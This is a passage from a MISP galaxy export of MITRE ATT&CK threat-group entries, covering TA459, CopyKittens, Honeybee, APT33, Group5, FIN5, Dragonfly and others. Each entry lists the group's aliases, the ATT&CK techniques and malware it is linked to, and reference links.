- uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="KillDisk - S0607" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ECCENTRICBANDWAGON - S0593" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 5071. Table References

Links
https://attack.mitre.org/groups/G0082
https://content.fireeye.com/apt/rpt-apt38
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://securelist.com/lazarus-under-the-hood/77908/
https://us-cert.cisa.gov/ncas/alerts/aa20-239a
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/
https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and
https://www.secureworks.com/research/threat-profiles/nickel-gladstone

TA459 - G0062

[TA459](https://attack.mitre.org/groups/G0062) is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="TA459 - G0062"*

TA459 - G0062 is also known as:

- TA459

View relationships graph

TA459 - G0062 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ZeroT - S0230" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PlugX - S0013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="gh0st RAT - S0032" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="TA459" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-malware="NetTraveler - S0033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

Table 5072. Table References

Links
https://attack.mitre.org/groups/G0062
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts

MONSOON - G0042

The tag is: *misp-galaxy:mitre-intrusion-set="MONSOON - G0042"*

View relationships graph

MONSOON - G0042 has relationships with:

- revoked-by: misp-galaxy:mitre-intrusion-set="Patchwork - G0040" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="QUILTED TIGER" with estimative-language:likelihood-probability="likely"

Table 5073. Table References

Links
https://attack.mitre.org/groups/G0042

CopyKittens - G0052

[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)

The tag is: *misp-galaxy:mitre-intrusion-set="CopyKittens - G0052"*

CopyKittens - G0052 is also known as:

- CopyKittens

View relationships graph

CopyKittens - G0052 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TDTESS - S0164" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Matryoshka - S0167" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="CopyKittens" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

Table 5074. Table References

Links
http://www.clearskysec.com/copykitten-jpost/
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf
https://attack.mitre.org/groups/G0052
https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf

Honeybee - G0072

[Honeybee](https://attack.mitre.org/groups/G0072) is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japan, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. (Citation: McAfee Honeybee)

The tag is: *misp-galaxy:mitre-intrusion-set="Honeybee - G0072"*

Honeybee - G0072 is also known as:

- Honeybee

View relationships graph

Honeybee - G0072 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1546.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="cmd - S0106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5075. Table References

Links
https://attack.mitre.org/groups/G0072
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/

APT33 - G0064

[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="APT33 - G0064"*

APT33 - G0064 is also known as:

- APT33
- HOLMIUM
- Elfin

View relationships graph

APT33 - G0064 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PowerSploit - S0194" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NETWIRE - S0198" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="PoshC2 - S0378" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT33" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="StoneDrill - S0380" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Ruler - S0358" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Pupy - S0192" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ftp - S0095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TURNEDUP - S0199" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="POWERTON - S0371" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="AutoIt backdoor - S0129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5076. Table References

Links
https://attack.mitre.org/groups/G0064
https://www.brighttalk.com/webcast/10703/275683
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/
https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage

APT34 - G0057

APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="APT34 - G0057"*

View relationships graph

APT34 - G0057 has relationships with:

- revoked-by: misp-galaxy:mitre-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="almost-certain"

Table 5077. Table References

Links
https://attack.mitre.org/groups/G0057

Group5 - G0043

[Group5](https://attack.mitre.org/groups/G0043) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://attack.mitre.org/groups/G0043) has used two commonly available remote access tools (RATs), [njRAT](https://attack.mitre.org/software/S0385) and [NanoCore](https://attack.mitre.org/software/S0336), as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)

The tag is: *misp-galaxy:mitre-intrusion-set="Group5 - G0043"*

Group5 - G0043 is also known as:

- Group5

View relationships graph

Group5 - G0043 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="NanoCore - S0336" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="njRAT - S0385" with estimative-language:likelihood-probability="almost-certain"

Table 5078. Table References

Links
https://attack.mitre.org/groups/G0043
https://citizenlab.ca/2016/08/group5-syria/

FIN5 - G0053

[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)

The tag is: *misp-galaxy:mitre-intrusion-set="FIN5 - G0053"*

FIN5 - G0053 is also known as:

- FIN5

View relationships graph

FIN5 - G0053 has relationships with:

- uses: misp-galaxy:mitre-malware="FLIPSIDE - S0173" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Windows Credential Editor - S0005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="External Proxy - T1090.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="RawPOS - S0169" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="pwdump - S0006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="SDelete - S0195" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5079. Table References

Links
https://attack.mitre.org/groups/G0053
https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?
https://www.youtube.com/watch?v=fevGZs0EQu8
https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html

Dragonfly - G0035

[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been attributed to Russia’s Federal Security Service (FSB) Center 16.(Citation: DOJ Russia Targeting Critical Infrastructure March 2022)(Citation: UK GOV FSB Factsheet April 2022) Active since at least 2010, [Dragonfly](https://attack.mitre.org/groups/G0035) has targeted defense and aviation companies, government entities, companies related to industrial control systems, and critical infrastructure sectors worldwide through supply chain, spearphishing, and drive-by compromise attacks.(Citation: Symantec Dragonfly)(Citation: Secureworks IRON LIBERTY July 2019)(Citation:

Symantec Dragonfly Sept 2017)(Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Gigamon Berserk Bear October 2021)(Citation: CISA AA20-296A Berserk Bear December 2020)(Citation: Symantec Dragonfly 2.0 October 2017)

The tag is: *misp-galaxy:mitre-intrusion-set="Dragonfly - G0035"*

Dragonfly - G0035 is also known as:

- Dragonfly
- TEMP.Isotope
- DYMALLOY
- Berserk Bear
- TG-4192
- Crouching Yeti
- IRON LIBERTY
- Energetic Bear

View relationships graph

Dragonfly - G0035 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Backdoor.Oldrea - S0093" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Cracking - T1110.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Impacket - S0357" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="ENERGETIC BEAR" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Business Relationships - T1591.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Trojan.Karagany - S0094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1598.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Users - T1564.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="MCMD - S0500" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Forced Authentication - T1187" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compromise Software Supply Chain - T1195.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
